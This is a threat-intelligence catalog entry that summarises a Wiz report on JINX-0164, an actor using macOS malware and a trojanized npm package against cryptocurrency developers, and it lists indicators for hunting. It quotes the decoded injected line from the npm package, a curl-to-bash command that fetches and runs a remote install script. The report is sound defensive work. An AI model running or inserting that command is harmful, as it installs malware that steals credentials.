Skip to content

Back to the catalog

Threat Actor Targets Crypto Organizations | Wiz Blog
wiz.iowriteup

Threat Actor Targets Crypto Organizations | Wiz Blog

Wiz CIRT and Wiz Research detail JINX-0164, a previously untracked financially-motivated threat actor targeting cryptocurrency organizations since mid-2025. The group uses LinkedIn-based social engineering to deliver macOS malware (the Python-based AUDIOFIX infostealer/RAT and the Go-based MINIRAT backdoor), steals developer and cloud credentials, hijacks Git commits to propagate through CI/CD infrastructure, and trojanized the npm package @velora-dex/sdk in a supply-chain attack. The post includes full IOCs, C2 domains, and detection guidance (e.g., GitHub Vigilant Mode, audit log correlation) and notes tactical overlaps with North Korean clusters like UNC1069/Sapphire Sleet without confirmed attribution.

TL;DR Wiz exposes JINX-0164: LinkedIn lures, macOS malware (AUDIOFIX/MINIRAT), Git impersonation, and a trojanized npm crypto SDK used to hit crypto-industry developers.
Open original ↗
Document

What it is

Concrete hunt artifacts for JINX-0164's macOS tooling that the catalog summary references but does not carry. Two malware families (AUDIOFIX, a compiled-Python infostealer/RAT; MINIRAT, a Go backdoor) share the same three hardcoded C2 domains and the same AES-256-CBC key, so a single indicator set covers both.

Preconditions / Affected

macOS developer endpoints (ARM64 and x86_64 samples exist). Infrastructure like windows.driver-store[.]com hints at Windows targeting, but all confirmed activity is macOS-only. Supply-chain exposure: any project pulling @velora-dex/sdk version 9.4.1 from npm — the GitHub source was never modified (npm creds only), so git-based review would miss it.

What to do — hunt on these

Shared across both families:

  • C2 domains: datahub[.]ink (primary, only one seen resolving), cloud-sync[.]online, byte-io[.]us (backups).
  • Shared AES key: v59l2uwlow9s1ebuscgfg9k9r4voxkbs.

AUDIOFIX host artifacts:

  • ~/.zsh_cache containing an XOR-encoded string = captured system password (phishing routine ran).
  • Payload masquerades as coreaudiod, dropped as ChromeUpdater, launched via launchctl.
  • Persistence LaunchAgent labels impersonating apps: com.microsoft.teams.coreaudiod (also Aircall, Dialpad variants), RunAtLoad+KeepAlive.
  • Exfil to /file/upload on the C2. Normal poll 5s; stealth mode randomizes 10–30 min.
  • Delivery domain: apple.driver-store[.]com; fake-fix page pattern e.g. learn.bitget-meeting[.]com/.../teams-audio-issue-mac.
  • Dropper SHA-256: 9c2ce925133a3bf5a924063bbef8df49918d5b7258695c1894cd18c75970157a (4 variants across 3 domains; some launch as coreaudio.job, this one chrome.job).

MINIRAT:

  • SHA-256: 0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270 (a modified variant hit VirusTotal 2026-05-08 — still active).
  • Persistence plist label com.apple.Terminal.profiler; module path alibaba.xyz/minirat; checks public IP via api.ipify.org; uses hardware UUID as bot ID.
  • Injected into @velora-dex/sdk dist/index.js (3 appended lines) decoding to:
nohup bash -c "$(curl -fsSL http://89.36.224[.]5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

Logging prerequisites the page flags as commonly-off: enable IP logging in GitHub audit logs and cloud storage access logs — both may be disabled by default and are needed to trace git push back to the compromised endpoint. Source connections arrive via Mullvad, Astrill, and ExpressVPN exit nodes, so IP reputation alone won't catch this.

Caveats

The TCC clickjacking routine grants Full Disk Access but the page notes that access "is not used by any part of the main codebase." Malware includes debugger/VM/code-signing anti-analysis checks (silent exit) and an operator-triggered self-destruct that wipes persistence, logs, binary, and server-side data — absence of artifacts does not rule out compromise. Attribution to North Korean clusters (UNC1069/Sapphire Sleet) is surface-similarity only; no infrastructure overlap, no confirmed sponsor.

Organisations named here

  • T1195.002

Technologies named here

  • macOS
  • GitHub Vigilant Mode
  • @velora-dex/sdk
  • GitHub audit logs
  • Windows
  • Endpoint Detection and Response
  • Cryptocurrency wallet browser extensions
  • Mullvad VPN, Astrill VPN, ExpressVPN
  • VirusTotal
  • Web browsers
  • Communication apps
  • Cloud platform credentials
  • Kubernetes
  • GitHub
  • macOS Keychain
  • npm
  • Python
  • Go
  • VPN
  • LinkedIn

Techniques named here

  • Social engineering via LinkedIn
  • Malicious meeting/lookalike domain lure
  • Architecture-aware dropper script
  • Credential theft / harvesting
  • Lateral movement via stolen credentials
  • Git-based evasion
  • Malware propagation via compromised build infrastructure
  • Supply chain attack via npm package trojanization
  • C2 over HTTPS with AES-256-CBC encryption
  • Dropbox-based C2
  • Password phishing dialog
  • TCC Clickjacking
  • Anti-analysis / evasion checks
  • Self-destruct capability
  • Clipboard monitoring
  • LaunchAgent persistence
  • Remote code/command execution via C2

Threat actors named here

  • JINX-0164
  • AUDIOFIX
  • MINIRAT
  • UNC1069 / Sapphire Sleet
  • UNC1069
  • Sapphire Sleet

Related in Threat Intel